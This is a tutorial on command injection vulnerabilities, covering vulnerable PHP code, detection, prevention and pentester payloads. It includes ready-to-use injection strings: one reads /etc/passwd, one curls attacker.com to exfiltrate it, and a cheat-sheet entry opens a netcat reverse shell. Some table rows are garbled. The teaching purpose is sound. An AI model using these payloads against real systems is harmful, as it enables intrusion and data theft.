## 1️⃣ What is Command Injection?

- Command Injection is a type of security vulnerability where an attacker can execute **arbitrary system commands** on a server or application by manipulating input fields.
- It happens when **user input is not properly validated or sanitized** before being passed to system-level functions.
- Example analogy:
    - Think of an ATM machine. If it takes a PIN code but also accepts random text, a malicious person could type special commands to make the ATM spit out money. That's similar to command injection for computers.

---

## 2️⃣ Why is Command Injection Dangerous?

- It allows attackers to:
    - Steal sensitive information (passwords, files).
    - Modify or delete data.
    - Take full control of the server.
    - Pivot to other systems in the network.
- Often leads to **complete server compromise** because the attacker is executing real system commands.

---

## 3️⃣ How Does It Work?

- A vulnerable application takes user input and directly includes it in a system command.
- If the input is not validated, attackers can append their own commands.
- Example in pseudocode:
- $ip = $_GET['ip'];
- system("ping $ip");
    - This code pings an IP provided by the user.
    - An attacker could input: 127.0.0.1 && whoami

- This makes the server run:
  ping 127.0.0.1 && whoami
- It pings localhost **and** shows which user is running the process.

---

### 4️⃣ Types of Command Injection

| Type | Description | Example |
|---|---|---|
| **OS Command Injection** | Injecting system-level commands like ls, cat, dir. | ; ls -la |
| **Blind Command Injection** | You don't see the output directly but can infer it indirectly (timing or responses). | & ping -c 5 attacker.com |
| **Out-of-Band Injection** | Sending data to an external server controlled by the attacker. | ; curl attacker.com?data=$(cat /etc/passwd) |

---

### 5️⃣ Realistic Examples

**Example 1: Simple OS Command Injection**

Web form asks for a hostname to ping:

```
<?php
 $host = $_GET['host'];
 system("ping -c 4 $host");
?>
```

Attacker input:
127.0.0.1; cat /etc/passwd
Result:

- Server pings localhost.
- Then prints contents of /etc/passwd (user list).

---

**Example 2: Windows Command Injection**

Batch file to check disk space:

cmd = "dir " & Request("path")

Attacker input:
C:\ & net user
This will execute dir C:\ and then net user to show all system users.

---

**Example 3: Blind Command Injection**

Web app does not display output but runs a command:

exec("ping -c 1 " . $_POST['ip']);

Attacker sends:
127.0.0.1 && sleep 10
If server response takes 10 seconds, attacker knows the injection worked.

---

### 6️⃣ Indicators of Command Injection

- Web app behaves strangely when special characters are entered (;, |, &&).
- Unexpected output on the page.
- Delayed responses (indicates time-based attacks).
- Outbound connections from the server to attacker-controlled hosts.

---

### 7️⃣ Common Injection Characters

| Symbol | Meaning |
|---|---|
| ; | Run next command |
| & | Run commands sequentially |
| && | Run next command if previous succeeds |
| ` | ` |
| ` | |
| `, $() | Command substitution |

---

## 8️⃣ Attack Scenarios

- **File Upload**: Attacker uploads a malicious script and executes it using injection.
- **Web Admin Panel**: Admin panel allows system commands (like backup or ping).
- **IoT Devices**: Routers or cameras with "diagnostic" tools can be exploited.

---

## 9️⃣ Impact of Command Injection

- Data exfiltration (cat /etc/passwd).
- Server compromise (install malware).
- Pivoting inside network.
- Denial of Service (kill processes, overload server).

---

## 🔟 Detection

- **Manual Testing**: Inject characters like ;, |, && into input fields.
- **Automated Tools**:
  - Burp Suite (Intruder/Repeater).
  - OWASP ZAP.
  - Commix (specific to command injection).
- **Logs**: Check server logs for unusual commands or errors.

---

## 1️⃣1️⃣ Prevention

| Method | Explanation |
|---|---|
| **Input Validation** | Strictly validate input type (IP addresses should only contain numbers and dots). |
| **Parameterized APIs** | Use language libraries instead of calling system commands. |
| **Escaping/Sanitizing** | Escape shell metacharacters properly. |
| **Least Privilege** | Run application with low-privilege user. |
| **Use Safe Functions** | In PHP, avoid system(), use built-in functions instead. |

Example in PHP (Safe):

```
$ip = filter_var($_GET['ip'], FILTER_VALIDATE_IP);
if ($ip) {
 echo shell_exec(escapeshellcmd("ping -c 4 $ip"));
} else {
 echo "Invalid IP!";
}
```

---

### 1 2 Testing for Command Injection (as a Pentester)

- Send payloads like:
  - 127.0.0.1; whoami
  - 127.0.0.1 | ls
  - 127.0.0.1 && sleep 5
- Check for:
  - Output differences.
  - Time delays.
  - Out-of-band connections.

---

### 1 3 Real-World Incidents

- Several IoT devices compromised via command injection in diagnostic panels.
- Cisco routers and embedded devices frequently patched for command injection flaws.

---

### 1 4 OWASP Classification

- OWASP Top 10: falls under **Injection vulnerabilities**.
- Related to **CWE-77** (Command Injection).

---

### 1 5 Difference Between Command Injection & Code Injection

| Command Injection | Code Injection |
| --- | --- |
| Executes OS commands. | Executes application-level code. |
| Affects underlying server. | Affects the app environment. |

---

### 1️⃣6️⃣ Key Takeaways

- Always validate & sanitize user input.
- Never pass user input directly to system commands.
- Use safe APIs or parameterized functions.
- Test regularly using tools like Burp or Commix.

---

### 1️⃣7️⃣ Example Cheat Sheet (Common Payloads)

| Payload | Purpose |
| --- | --- |
| ; whoami | Shows user running the process. |
| && cat /etc/passwd | Reads system password file. |
| `` | nc attacker.com 4444 -e /bin/sh`` |
| `id` | Executes command substitution. |